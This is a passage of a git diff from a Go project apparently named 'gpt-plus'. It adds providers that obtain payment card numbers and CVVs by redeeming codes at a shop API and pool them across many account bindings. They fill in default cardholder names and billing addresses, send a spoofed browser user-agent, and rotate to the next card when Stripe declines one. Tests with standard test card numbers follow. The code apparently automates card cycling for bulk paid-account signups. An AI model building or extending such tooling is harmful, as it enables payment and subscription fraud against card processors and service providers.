"" { + cfg.DefaultCountry = "US" + } + if cfg.DefaultCurrency == "" { + cfg.DefaultCurrency = "USD" + } + + pool := NewCardPool(cfg.PoolCfg) + + cachePath := cfg.CachePath + if cachePath == "" { + cachePath = "card_cache.json" + } + + p := &APIProvider{ + baseURL: strings.TrimRight(cfg.BaseURL, "/"), + codes: codes, + defaultName: cfg.DefaultName, + defaultCountry: cfg.DefaultCountry, + defaultCurrency: cfg.DefaultCurrency, + defaultAddress: cfg.DefaultAddress, + defaultCity: cfg.DefaultCity, + defaultState: cfg.DefaultState, + defaultPostalCode: cfg.DefaultPostalCode, + cachePath: cachePath, + httpClient: &http.Client{Timeout: 20 * time.Second}, + pool: pool, + } + + // Try to load cached cards from disk + p.loadCachedCards() + + return p, nil +} + +// GetCard returns a card, fetching from API if the pool is empty. +func (p *APIProvider) GetCard(ctx context.Context) (*CardInfo, error) { + // Try pool first + card, err := p.pool.GetCard() + if err == nil { + return card, nil + } + + // Pool empty or exhausted, try fetching more cards + if fetchErr := p.fetchNextCode(ctx); fetchErr != nil { + return nil, fmt.Errorf("no cards available and fetch failed: %w (pool: %v)", fetchErr, err) + } + + return p.pool.GetCard() +} + +// ReportResult reports the usage outcome. +func (p *APIProvider) ReportResult(ctx context.Context, card *CardInfo, success bool) error { + p.pool.ReportResult(card, success) + p.saveCachedCards() // persist bindCount/rejected to disk + return nil +} + +// fetchNextCode tries the next unused redeem code through the full 3-step flow. +func (p *APIProvider) fetchNextCode(ctx context.Context) error { + p.mu.Lock() + defer p.mu.Unlock() + + if p.allFetched { + return fmt.Errorf("all redeem codes exhausted") + } + + for p.usedIdx < len(p.codes) { + code := p.codes[p.usedIdx] + p.usedIdx++ + + cards, tmpl, err := p.redeemFullFlow(ctx, code) + if err != nil { + log.Printf("[card-api] code %s failed: %v", maskCode(code), err) + continue + } + + if len(cards) > 0 { + parsed := p.parseCards(cards, tmpl) + if len(parsed) > 0 { + p.pool.AddCards(parsed) + log.Printf("[card-api] redeemed code %s: got %d card(s)", maskCode(code), len(parsed)) + p.saveCachedCards() // persist to disk + return nil + } + } + + log.Printf("[card-api] code %s: no valid cards returned", maskCode(code)) + } + + p.allFetched = true + return fmt.Errorf("all %d redeem codes exhausted", len(p.codes)) +} + +// redeemFullFlow performs the complete 3-step redeem flow: +// 1. Validate code +// 2. POST redeem +// 3. Poll task-status until done +func (p *APIProvider) redeemFullFlow(ctx context.Context, code string) ([]redeemCard, string, error) { + // Step 1: Validate + log.Printf("[card-api] step 1: validating code %s", maskCode(code)) + valid, err := p.validateCode(ctx, code) + if err != nil { + return nil, "", fmt.Errorf("validate: %w", err) + } + if !valid.Data.Valid { + return nil, "", fmt.Errorf("code invalid: %s (isUsed=%v, remaining=%d)", + valid.Message, valid.Data.IsUsed, valid.Data.RemainingQuantity) + } + log.Printf("[card-api] code valid: product=%s, quantity=%d", valid.Data.ProductName, valid.Data.Quantity) + + // Step 2: Redeem + log.Printf("[card-api] step 2: submitting redeem for code %s", maskCode(code)) + redeemResp, err := p.submitRedeem(ctx, code, valid.Data.Quantity) + if err != nil { + return nil, "", fmt.Errorf("redeem: %w", err) + } + + // If not async, cards may be returned directly + if !redeemResp.Data.IsAsync && len(redeemResp.Data.Cards) > 0 { + log.Printf("[card-api] sync redeem: got %d card(s) directly", len(redeemResp.Data.Cards)) + return redeemResp.Data.Cards, redeemResp.Data.CardTemplate, nil + } + + if redeemResp.Data.TaskID == "" { + return nil, "", fmt.Errorf("redeem returned no taskId and no cards") + } + + // Step 3: Poll task status + log.Printf("[card-api] step 3: polling task %s", redeemResp.Data.TaskID) + cards, tmpl, err := p.pollTaskStatus(ctx, redeemResp.Data.TaskID) + if err != nil { + return nil, "", fmt.Errorf("poll task: %w", err) + } + + return cards, tmpl, nil +} + +// validateCode calls GET /shop/shop/redeem/validate?code={code} +func (p *APIProvider) validateCode(ctx context.Context, code string) (*validateResponse, error) { + url := fmt.Sprintf("%s/shop/shop/redeem/validate?code=%s", p.baseURL, code) + body, err := p.doGet(ctx, url) + if err != nil { + return nil, err + } + + var result validateResponse + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("parse validate response: %w", err) + } + if result.Code != 200 { + return nil, fmt.Errorf("validate API error %d: %s", result.Code, result.Message) + } + return &result, nil +} + +// submitRedeem calls POST /shop/shop/redeem +func (p *APIProvider) submitRedeem(ctx context.Context, code string, quantity int) (*redeemResponse, error) { + if quantity <= 0 { + quantity = 1 + } + + reqBody := redeemRequest{ + Code: code, + ContactEmail: "", + VisitorID: generateVisitorID(), + Quantity: quantity, + } + bodyBytes, _ := json.Marshal(reqBody) + + url := p.baseURL + "/shop/shop/redeem" + req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, strings.NewReader(string(bodyBytes))) + if err != nil { + return nil, fmt.Errorf("build redeem request: %w", err) + } + p.setHeaders(req) + req.Header.Set("Content-Type", "application/json") + + resp, err := p.httpClient.Do(req) + if err != nil { + return nil, fmt.Errorf("redeem request: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read redeem response: %w", err) + } + if resp.StatusCode != 200 { + return nil, fmt.Errorf("redeem returned %d: %s", resp.StatusCode, string(body)) + } + + var result redeemResponse + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("parse redeem response: %w", err) + } + if result.Code != 200 { + return nil, fmt.Errorf("redeem API error %d: %s", result.Code, result.Message) + } + return &result, nil +} + +// pollTaskStatus polls GET /shop/shop/redeem/task-status/{taskId} every 2s until status=2. +func (p *APIProvider) pollTaskStatus(ctx context.Context, taskID string) ([]redeemCard, string, error) { + url := fmt.Sprintf("%s/shop/shop/redeem/task-status/%s", p.baseURL, taskID) + ticker := time.NewTicker(2 * time.Second) + defer ticker.Stop() + + timeout := time.After(2 * time.Minute) + + for attempt := 1; ; attempt++ { + body, err := p.doGet(ctx, url) + if err != nil { + log.Printf("[card-api] poll attempt %d error: %v", attempt, err) + } else { + var result taskStatusResponse + if err := json.Unmarshal(body, &result); err != nil { + log.Printf("[card-api] poll attempt %d parse error: %v", attempt, err) + } else if result.Code == 200 { + if result.Data.Status == 2 { + log.Printf("[card-api] task complete: %s, got %d card(s)", + result.Data.Progress, len(result.Data.Cards)) + return result.Data.Cards, result.Data.CardTemplate, nil + } + log.Printf("[card-api] task in progress (attempt %d, status=%d)", attempt, result.Data.Status) + } + } + + select { + case <-ctx.Done(): + return nil, "", ctx.Err() + case <-timeout: + return nil, "", fmt.Errorf("task %s timed out after 2 minutes", taskID) + case <-ticker.C: + } + } +} + +// --- card cache persistence --- + +// loadCachedCards loads cards from the local cache file, skipping expired ones. +func (p *APIProvider) loadCachedCards() { + data, err := os.ReadFile(p.cachePath) + if err != nil { + if !os.IsNotExist(err) { + log.Printf("[card-cache] failed to read cache %s: %v", p.cachePath, err) + } + return + } + + var cached []cachedCard + if err := json.Unmarshal(data, &cached); err != nil { + log.Printf("[card-cache] failed to parse cache: %v", err) + return + } + + now := time.Now() + ttl := p.pool.ttl + var valid []*CardInfo + var validEntries []cachedCard + + for _, entry := range cached { + if ttl > 0 && now.Sub(entry.AddedAt) > ttl { + log.Printf("[card-cache] skipping expired card %s...%s (age=%v)", + entry.Card.Number[:4], entry.Card.Number[len(entry.Card.Number)-4:], now.Sub(entry.AddedAt).Round(time.Second)) + continue + } + // Apply default address fields to cached cards (same as parseCard) + c := entry.Card + if c.Address == "" && p.defaultAddress != "" { + c.Address = p.defaultAddress + } + if c.City == "" && p.defaultCity != "" { + c.City = p.defaultCity + } + if c.State == "" && p.defaultState != "" { + c.State = p.defaultState + } + if c.PostalCode == "" && p.defaultPostalCode != "" { + c.PostalCode = p.defaultPostalCode + } + valid = append(valid, c) + validEntries = append(validEntries, entry) + log.Printf("[card-cache] loaded card %s...%s (binds=%d, rejected=%v)", + c.Number[:4], c.Number[len(c.Number)-4:], entry.BindCount, entry.Rejected) + } + + if len(valid) > 0 { + // Add cards to pool with their original addedAt timestamps + p.pool.mu.Lock() + for i, c := range valid { + p.pool.cards = append(p.pool.cards, &poolEntry{ + card: c, + addedAt: validEntries[i].AddedAt, + bindCount: validEntries[i].BindCount, + rejected: validEntries[i].Rejected, + }) + } + p.pool.mu.Unlock() + log.Printf("[card-cache] loaded %d valid card(s) from cache (skipped %d expired)", len(valid), len(cached)-len(valid)) + } else { + log.Printf("[card-cache] no valid cards in cache (%d expired)", len(cached)) + } +} + +// saveCachedCards writes current pool cards to the cache file. +func (p *APIProvider) saveCachedCards() { + p.pool.mu.Lock() + var entries []cachedCard + for _, e := range p.pool.cards { + entries = append(entries, cachedCard{ + Card: e.card, + AddedAt: e.addedAt, + BindCount: e.bindCount, + Rejected: e.rejected, + }) + } + p.pool.mu.Unlock() + + data, err := json.MarshalIndent(entries, "", " ") + if err != nil { + log.Printf("[card-cache] failed to marshal cache: %v", err) + return + } + + if err := os.WriteFile(p.cachePath, data, 0644); err != nil { + log.Printf("[card-cache] failed to write cache %s: %v", p.cachePath, err) + return + } + log.Printf("[card-cache] saved %d card(s) to %s", len(entries), p.cachePath) +} + +// --- helpers --- + +func (p *APIProvider) doGet(ctx context.Context, url string) ([]byte, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) + if err != nil { + return nil, err + } + p.setHeaders(req) + + resp, err := p.httpClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + if resp.StatusCode != 200 { + return nil, fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(body)) + } + return body, nil +} + +func (p *APIProvider) setHeaders(req *http.Request) { + req.Header.Set("accept", "application/json, text/plain, */*") + req.Header.Set("accept-language", "en,zh-CN;q=0.9,zh;q=0.8") + req.Header.Set("cache-control", "no-cache") + req.Header.Set("pragma", "no-cache") + req.Header.Set("referer", p.baseURL+"/") + req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36") +} + +// parseCards converts raw API cards to CardInfo structs. +func (p *APIProvider) parseCards(cards []redeemCard, tmpl string) []*CardInfo { + tmplName, tmplCountry := parseCardTemplate(tmpl) + + var result []*CardInfo + for _, rc := range cards { + card := p.parseRedeemCard(rc, tmplName, tmplCountry) + if card != nil { + result = append(result, card) + } + } + return result +} + +// parseRedeemCard extracts CardInfo from a redeemed card entry. +func (p *APIProvider) parseRedeemCard(rc redeemCard, tmplName, tmplCountry string) *CardInfo { + card := &CardInfo{ + Number: rc.CardNumber, + CVC: rc.CardPassword, + Country: p.defaultCountry, + Currency: p.defaultCurrency, + } + + // Parse cardData JSON for expiry and CVV + if rc.CardData != "" { + var cd cardDataJSON + if err := json.Unmarshal([]byte(rc.CardData), &cd); err == nil { + if cd.CVV != "" { + card.CVC = cd.CVV + } + // Parse MMYY expiry → ExpMonth + ExpYear + if len(cd.Expiry) == 4 { + card.ExpMonth = cd.Expiry[:2] + card.ExpYear = "20" + cd.Expiry[2:] + } + } + } + + // Name: prefer template → default config + if tmplName != "" { + card.Name = tmplName + } else if p.defaultName != "" { + card.Name = p.defaultName + } + + // Country: prefer template → default config + if tmplCountry != "" { + card.Country = tmplCountry + } + + // Apply default address fields + if card.Address == "" && p.defaultAddress != "" { + card.Address = p.defaultAddress + } + if card.City == "" && p.defaultCity != "" { + card.City = p.defaultCity + } + if card.State == "" && p.defaultState != "" { + card.State = p.defaultState + } + if card.PostalCode == "" && p.defaultPostalCode != "" { + card.PostalCode = p.defaultPostalCode + } + + if card.Number == "" || card.ExpMonth == "" || card.ExpYear == "" || card.CVC == "" { + log.Printf("[card-api] skipping incomplete card: number=%s exp=%s/%s cvc=%s", + card.Number, card.ExpMonth, card.ExpYear, card.CVC) + return nil + } + + return card +} + +// parseCardTemplate extracts name and country from the card template string. +func parseCardTemplate(tmpl string) (name, country string) { + if tmpl == "" { + return "", "" + } + + lines := strings.Split(tmpl, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "姓名") { + name = strings.TrimSpace(strings.TrimPrefix(line, "姓名")) + } + if strings.HasPrefix(line, "国家") { + c := strings.TrimSpace(strings.TrimPrefix(line, "国家")) + country = countryNameToCode(c) + } + } + return +} + +// countryNameToCode maps common country names to ISO codes. +func countryNameToCode(name string) string { + name = strings.TrimSpace(strings.ToLower(name)) + switch { + case strings.Contains(name, "united states"), strings.Contains(name, "美国"): + return "US" + case strings.Contains(name, "japan"), strings.Contains(name, "日本"): + return "JP" + case strings.Contains(name, "united kingdom"), strings.Contains(name, "英国"): + return "GB" + case strings.Contains(name, "canada"), strings.Contains(name, "加拿大"): + return "CA" + case strings.Contains(name, "australia"), strings.Contains(name, "澳大利亚"): + return "AU" + default: + return "US" + } +} + +// generateVisitorID generates a visitor ID matching the frontend format. +func generateVisitorID() string { + ts := time.Now().UnixMilli() + const chars = "abcdefghijklmnopqrstuvwxyz0123456789" + suffix := make([]byte, 9) + for i := range suffix { + suffix[i] = chars[rand.Intn(len(chars))] + } + return fmt.Sprintf("visitor_%d_%s", ts, string(suffix)) +} + +func loadCodesFromFile(path string) ([]string, error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + defer f.Close() + + var codes []string + scanner := bufio.NewScanner(f) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line != "" && !strings.HasPrefix(line, "#") { + codes = append(codes, line) + } + } + return codes, scanner.Err() +} + +func maskCode(code string) string { + if len(code) <= 8 { + return code[:2] + "****" + } + return code[:4] + "****" + code[len(code)-4:] +} diff --git a/pkg/provider/card/db.go b/pkg/provider/card/db.go new file mode 100644 index 0000000..df6396e --- /dev/null +++ b/pkg/provider/card/db.go @@ -0,0 +1,350 @@ +package card + +import ( + "context" + "encoding/json" + "fmt" + "log" + "os" + "sync" + "time" + + "gpt-plus/internal/db" + + "gorm.io/gorm" +) + +// DBCardProvider implements CardProvider backed by the SQLite database. +// It enforces a single-active-card policy: only one card has status=active at any time. +type DBCardProvider struct { + mu sync.Mutex + gormDB *gorm.DB + + defaultName string + defaultCountry string + defaultCurrency string + defaultAddress string + defaultCity string + defaultState string + defaultPostalCode string + apiBaseURL string +} + +type DBCardProviderConfig struct { + DB *gorm.DB + DefaultName string + DefaultCountry string + DefaultCurrency string + DefaultAddress string + DefaultCity string + DefaultState string + DefaultPostalCode string + APIBaseURL string +} + +func NewDBCardProvider(cfg DBCardProviderConfig) *DBCardProvider { + if cfg.DefaultCountry == "" { + cfg.DefaultCountry = "US" + } + if cfg.DefaultCurrency == "" { + cfg.DefaultCurrency = "USD" + } + return &DBCardProvider{ + gormDB: cfg.DB, + defaultName: cfg.DefaultName, + defaultCountry: cfg.DefaultCountry, + defaultCurrency: cfg.DefaultCurrency, + defaultAddress: cfg.DefaultAddress, + defaultCity: cfg.DefaultCity, + defaultState: cfg.DefaultState, + defaultPostalCode: cfg.DefaultPostalCode, + apiBaseURL: cfg.APIBaseURL, + } +} + +const cardTTL = 1 * time.Hour + +// GetCard returns the currently active card. If none is active, triggers auto-switch. +// If the active card has expired (>1h since activation), it is marked expired and switched. +func (p *DBCardProvider) GetCard(ctx context.Context) (*CardInfo, error) { + p.mu.Lock() + defer p.mu.Unlock() + + var card db.Card + err := p.gormDB.Where("status = ?", "active").First(&card).Error + if err == nil { + // Check if the card has expired (API-sourced cards have 1h TTL) + if card.Source == "api" && card.ActivatedAt != nil && time.Since(*card.ActivatedAt) > cardTTL { + card.Status = "expired" + card.LastError = fmt.Sprintf("卡片已过期 (激活于 %s)", card.ActivatedAt.Format("15:04:05")) + p.gormDB.Save(&card) + log.Printf("[db-card] card ID=%d expired (activated %v ago)", card.ID, time.Since(*card.ActivatedAt).Round(time.Second)) + + if err := p.activateNext(); err != nil { + return nil, fmt.Errorf("卡片已过期且无可用替代: %w", err) + } + if err := p.gormDB.Where("status = ?", "active").First(&card).Error; err != nil { + return nil, fmt.Errorf("切换后仍找不到卡片: %w", err) + } + } + return p.toCardInfo(&card) + } + + // No active card — try to activate next available + if err := p.activateNext(); err != nil { + return nil, fmt.Errorf("无可用卡片: %w", err) + } + + if err := p.gormDB.Where("status = ?", "active").First(&card).Error; err != nil { + return nil, fmt.Errorf("激活后仍找不到卡片: %w", err) + } + return p.toCardInfo(&card) +} + +// ReportResult updates the card status based on payment outcome. +func (p *DBCardProvider) ReportResult(ctx context.Context, card *CardInfo, success bool) error { + p.mu.Lock() + defer p.mu.Unlock() + + hash := db.HashSHA256(card.Number) + var dbCard db.Card + if err := p.gormDB.Where("number_hash = ?", hash).First(&dbCard).Error; err != nil { + return fmt.Errorf("card not found in DB: %w", err) + } + + now := time.Now() + dbCard.LastUsedAt = &now + + if success { + dbCard.BindCount++ + // Update bound accounts list + var bound []string + if dbCard.BoundAccounts != "" { + json.Unmarshal([]byte(dbCard.BoundAccounts), &bound) + } + boundJSON, _ := json.Marshal(bound) + dbCard.BoundAccounts = string(boundJSON) + + // MaxBinds=0 means unlimited + if dbCard.MaxBinds > 0 && dbCard.BindCount >= dbCard.MaxBinds { + dbCard.Status = "exhausted" + log.Printf("[db-card] card *%s exhausted (%d/%d binds)", card.Number[len(card.Number)-4:], dbCard.BindCount, dbCard.MaxBinds) + p.gormDB.Save(&dbCard) + return p.activateNext() + } + p.gormDB.Save(&dbCard) + return nil + } + + // Card rejected + dbCard.Status = "rejected" + dbCard.LastError = "Stripe declined" + p.gormDB.Save(&dbCard) + log.Printf("[db-card] card *%s rejected", card.Number[len(card.Number)-4:]) + return p.activateNext() +} + +// activateNext picks the next available card and sets it to active. +// If no available cards, tries to redeem a card code. +func (p *DBCardProvider) activateNext() error { + activate := func(c *db.Card) { + now := time.Now() + c.Status = "active" + c.ActivatedAt = &now + p.gormDB.Save(c) + log.Printf("[db-card] activated card ID=%d (source=%s)", c.ID, c.Source) + } + + var next db.Card + err := p.gormDB.Where("status = ?", "available").Order("created_at ASC").First(&next).Error + if err == nil { + activate(&next) + return nil + } + + // No available cards — try to redeem a card code + if p.apiBaseURL != "" { + if err := p.redeemNextCode(); err != nil { + log.Printf("[db-card] redeem failed: %v", err) + } else { + err = p.gormDB.Where("status = ?", "available").Order("created_at ASC").First(&next).Error + if err == nil { + activate(&next) + return nil + } + } + } + + return fmt.Errorf("no available cards and no unused card codes") +} + +// redeemNextCode finds the next unused card code and redeems it via the API. +func (p *DBCardProvider) redeemNextCode() error { + var code db.CardCode + if err := p.gormDB.Where("status = ?", "unused").Order("created_at ASC").First(&code).Error; err != nil { + return fmt.Errorf("no unused card codes") + } + + code.Status = "redeeming" + p.gormDB.Save(&code) + + // Use a unique cache path per code to avoid loading stale cards from shared cache + cachePath := fmt.Sprintf("card_cache_redeem_%d.json", code.ID) + + apiProv, err := NewAPIProvider(APIProviderConfig{ + BaseURL: p.apiBaseURL, + Codes: []string{code.Code}, + DefaultName: p.defaultName, + DefaultCountry: p.defaultCountry, + DefaultCurrency: p.defaultCurrency, + DefaultAddress: p.defaultAddress, + DefaultCity: p.defaultCity, + DefaultState: p.defaultState, + DefaultPostalCode: p.defaultPostalCode, + PoolCfg: PoolConfig{MultiBind: true, MaxBinds: 999}, + CachePath: cachePath, + }) + if err != nil { + code.Status = "failed" + code.Error = err.Error() + p.gormDB.Save(&code) + return err + } + + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Minute) + defer cancel() + + cardInfo, err := apiProv.GetCard(ctx) + if err != nil { + code.Status = "failed" + code.Error = err.Error() + p.gormDB.Save(&code) + return err + } + + // Clean up temp cache + os.Remove(cachePath) + + // Check if card already exists in DB (dedup by number_hash) + hash := db.HashSHA256(cardInfo.Number) + var existing db.Card + if p.gormDB.Where("number_hash = ?", hash).First(&existing).Error == nil { + // Card already in DB — if it's exhausted/rejected/expired, reset to available + if existing.Status == "exhausted" || existing.Status == "rejected" || existing.Status == "expired" { + oldStatus := existing.Status + existing.Status = "available" + existing.BindCount = 0 + existing.LastError = "" + existing.ActivatedAt = nil + p.gormDB.Save(&existing) + log.Printf("[db-card] reused existing card ID=%d (reset from %s to available)", existing.ID, oldStatus) + } + + now := time.Now() + code.Status = "redeemed" + code.CardID = &existing.ID + code.RedeemedAt = &now + p.gormDB.Save(&code) + return nil + } + + // Save as new card + newCard, err := p.saveCard(cardInfo, "api", &code.ID) + if err != nil { + code.Status = "failed" + code.Error = err.Error() + p.gormDB.Save(&code) + return err + } + + now := time.Now() + code.Status = "redeemed" + code.CardID = &newCard.ID + code.RedeemedAt = &now + p.gormDB.Save(&code) + return nil +} + +func (p *DBCardProvider) saveCard(info *CardInfo, source string, codeID *uint) (*db.Card, error) { + numberEnc, err := db.Encrypt(info.Number) + if err != nil { + return nil, fmt.Errorf("encrypt card number: %w", err) + } + cvcEnc, err := db.Encrypt(info.CVC) + if err != nil { + return nil, fmt.Errorf("encrypt cvc: %w", err) + } + + maxBinds := -1 + var cfg db.SystemConfig + if p.gormDB.Where("key = ?", "card.max_binds").First(&cfg).Error == nil { + fmt.Sscanf(cfg.Value, "%d", &maxBinds) + } + if maxBinds < 0 { + maxBinds = 0 // default: 0 = unlimited + } + + card := &db.Card{ + NumberHash: db.HashSHA256(info.Number), + NumberEnc: numberEnc, + CVCEnc: cvcEnc, + ExpMonth: info.ExpMonth, + ExpYear: info.ExpYear, + Name: info.Name, + Country: info.Country, + Address: info.Address, + City: info.City, + State: info.State, + PostalCode: info.PostalCode, + Source: source, + CardCodeID: codeID, + Status: "available", + MaxBinds: maxBinds, + } + + if err := p.gormDB.Create(card).Error; err != nil { + return nil, err + } + return card, nil +} + +func (p *DBCardProvider) toCardInfo(card *db.Card) (*CardInfo, error) { + number, err := db.Decrypt(card.NumberEnc) + if err != nil { + return nil, fmt.Errorf("decrypt card number: %w", err) + } + cvc, err := db.Decrypt(card.CVCEnc) + if err != nil { + return nil, fmt.Errorf("decrypt cvc: %w", err) + } + + info := &CardInfo{ + Number: number, + ExpMonth: card.ExpMonth, + ExpYear: card.ExpYear, + CVC: cvc, + Name: card.Name, + Country: card.Country, + Currency: p.defaultCurrency, + Address: card.Address, + City: card.City, + State: card.State, + PostalCode: card.PostalCode, + } + + // Apply defaults + if info.Address == "" { + info.Address = p.defaultAddress + } + if info.City == "" { + info.City = p.defaultCity + } + if info.State == "" { + info.State = p.defaultState + } + if info.PostalCode == "" { + info.PostalCode = p.defaultPostalCode + } + + return info, nil +} diff --git a/pkg/provider/card/db_test.go b/pkg/provider/card/db_test.go new file mode 100644 index 0000000..2d48069 --- /dev/null +++ b/pkg/provider/card/db_test.go @@ -0,0 +1,220 @@ +package card + +import ( + "context" + "testing" + + "gpt-plus/internal/db" + + "github.com/glebarez/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func setupCardTestDB(t *testing.T) *gorm.DB { + t.Helper() + d, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{ + Logger: logger.Default.LogMode(logger.Silent), + }) + if err != nil { + t.Fatalf("open db: %v", err) + } + d.AutoMigrate(&db.SystemConfig{}, &db.Card{}, &db.CardCode{}) + db.DB = d + return d +} + +func insertCard(t *testing.T, d *gorm.DB, number, status string, maxBinds int) *db.Card { + t.Helper() + card := &db.Card{ + NumberHash: db.HashSHA256(number), + NumberEnc: number, // no encryption in test (key not set) + CVCEnc: "123", + ExpMonth: "12", ExpYear: "2030", + Name: "Test", Country: "US", + Status: status, MaxBinds: maxBinds, + } + d.Create(card) + return card +} + +func TestGetCardReturnsActiveCard(t *testing.T) { + d := setupCardTestDB(t) + insertCard(t, d, "4111111111111111", "active", 3) + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, err := prov.GetCard(context.Background()) + if err != nil { + t.Fatalf("GetCard: %v", err) + } + if card.Number != "4111111111111111" { + t.Fatalf("number = %q", card.Number) + } +} + +func TestGetCardActivatesAvailable(t *testing.T) { + d := setupCardTestDB(t) + insertCard(t, d, "4242424242424242", "available", 1) + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, err := prov.GetCard(context.Background()) + if err != nil { + t.Fatalf("GetCard: %v", err) + } + if card.Number != "4242424242424242" { + t.Fatalf("number = %q", card.Number) + } + + var dbCard db.Card + d.First(&dbCard, "number_hash = ?", db.HashSHA256("4242424242424242")) + if dbCard.Status != "active" { + t.Fatalf("card should now be active, got %q", dbCard.Status) + } +} + +func TestGetCardNoCardsReturnsError(t *testing.T) { + d := setupCardTestDB(t) + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + _, err := prov.GetCard(context.Background()) + if err == nil { + t.Fatal("expected error when no cards") + } +} + +func TestReportResultSuccessIncrementsBind(t *testing.T) { + d := setupCardTestDB(t) + insertCard(t, d, "5555555555554444", "active", 3) + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, _ := prov.GetCard(context.Background()) + + err := prov.ReportResult(context.Background(), card, true) + if err != nil { + t.Fatalf("ReportResult: %v", err) + } + + var dbCard db.Card + d.First(&dbCard, "number_hash = ?", db.HashSHA256("5555555555554444")) + if dbCard.BindCount != 1 { + t.Fatalf("bind_count = %d, want 1", dbCard.BindCount) + } + if dbCard.Status != "active" { + t.Fatalf("still active when under max_binds, got %q", dbCard.Status) + } +} + +func TestReportResultExhaustsCard(t *testing.T) { + d := setupCardTestDB(t) + c := insertCard(t, d, "6011111111111117", "active", 1) + // Pre-set to 0, so one success = 1 = maxBinds → exhausted + _ = c + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, _ := prov.GetCard(context.Background()) + + prov.ReportResult(context.Background(), card, true) + + var dbCard db.Card + d.First(&dbCard, "number_hash = ?", db.HashSHA256("6011111111111117")) + if dbCard.Status != "exhausted" { + t.Fatalf("status = %q, want exhausted", dbCard.Status) + } +} + +func TestReportResultExhaustedActivatesNext(t *testing.T) { + d := setupCardTestDB(t) + insertCard(t, d, "1111000011110000", "active", 1) + insertCard(t, d, "2222000022220000", "available", 5) + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, _ := prov.GetCard(context.Background()) + prov.ReportResult(context.Background(), card, true) // exhaust first + + // Now GetCard should return the second card + next, err := prov.GetCard(context.Background()) + if err != nil { + t.Fatalf("GetCard after exhaust: %v", err) + } + if next.Number != "2222000022220000" { + t.Fatalf("next card = %q, want 2222000022220000", next.Number) + } +} + +func TestReportResultRejectedCard(t *testing.T) { + d := setupCardTestDB(t) + insertCard(t, d, "3333000033330000", "active", 5) + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, _ := prov.GetCard(context.Background()) + + prov.ReportResult(context.Background(), card, false) + + var dbCard db.Card + d.First(&dbCard, "number_hash = ?", db.HashSHA256("3333000033330000")) + if dbCard.Status != "rejected" { + t.Fatalf("status = %q, want rejected", dbCard.Status) + } + if dbCard.LastError == "" { + t.Fatal("last_error should be set") + } +} + +func TestDefaultCountryAndCurrency(t *testing.T) { + prov := NewDBCardProvider(DBCardProviderConfig{}) + if prov.defaultCountry != "US" { + t.Fatalf("defaultCountry = %q, want US", prov.defaultCountry) + } + if prov.defaultCurrency != "USD" { + t.Fatalf("defaultCurrency = %q, want USD", prov.defaultCurrency) + } +} + +func TestToCardInfoAppliesDefaults(t *testing.T) { + d := setupCardTestDB(t) + + prov := NewDBCardProvider(DBCardProviderConfig{ + DB: d, + DefaultAddress: "123 Main St", + DefaultCity: "NYC", + DefaultState: "NY", + DefaultPostalCode: "10001", + }) + + card := &db.Card{ + NumberEnc: "4111111111111111", + CVCEnc: "123", + ExpMonth: "12", ExpYear: "2030", + Name: "Test", Country: "US", + } + + info, err := prov.toCardInfo(card) + if err != nil { + t.Fatalf("toCardInfo: %v", err) + } + if info.Address != "123 Main St" { + t.Fatalf("address = %q, want default", info.Address) + } + if info.City != "NYC" || info.State != "NY" || info.PostalCode != "10001" { + t.Fatalf("defaults not applied: %+v", info) + } +} + +func TestSingleActiveCardPolicy(t *testing.T) { + d := setupCardTestDB(t) + insertCard(t, d, "AAAA000000001111", "active", 5) + insertCard(t, d, "BBBB000000002222", "available", 5) + + // Verify only one active + var count int64 + d.Model(&db.Card{}).Where("status = ?", "active").Count(&count) + if count != 1 { + t.Fatalf("active count = %d, want 1", count) + } + + prov := NewDBCardProvider(DBCardProviderConfig{DB: d}) + card, _ := prov.GetCard(context.Background()) + if card.Number != "AAAA000000001111" { + t.Fatalf("should return the active card, got %q", card.Number) + } +} diff --git a/pkg/provider/card/file.go b/pkg/provider/card/file.go new file mode 100644 index 0000000..2c03ba0 --- /dev/null +++ b/pkg/provider/card/file.go @@ -0,0 +1,134 @@ +package card + +import ( + "bufio" + "context" + "fmt" + "os" + "strings" +) + +// FileProvider loads cards from a local TXT file (one card per line). +// Supported formats: +// 卡号|月|年|CVC +// 卡号|月|年|CVC|姓名|国家|货币 +// 卡号|月|年|CVC|姓名|国家|货币|地址|城市|州|邮编 +// 卡号,月,年,CVC +// 卡号,月,年,CVC,姓名,国家,货币,地址,城市,州,邮编 +type FileProvider struct { + pool *CardPool +} + +// NewFileProvider creates a FileProvider by reading cards from a text file. +func NewFileProvider(filePath string, defaultCountry, defaultCurrency string, poolCfg PoolConfig) (*FileProvider, error) { + cards, err := parseCardFile(filePath, defaultCountry, defaultCurrency) + if err != nil { + return nil, err + } + if len(cards) == 0 { + return nil, fmt.Errorf("no valid cards found in %s", filePath) + } + + pool := NewCardPool(poolCfg) + pool.AddCards(cards) + + return &FileProvider{pool: pool}, nil +} + +// GetCard returns the next available card from the pool. +func (p *FileProvider) GetCard(ctx context.Context) (*CardInfo, error) { + return p.pool.GetCard() +} + +// ReportResult reports the usage outcome. +func (p *FileProvider) ReportResult(ctx context.Context, card *CardInfo, success bool) error { + 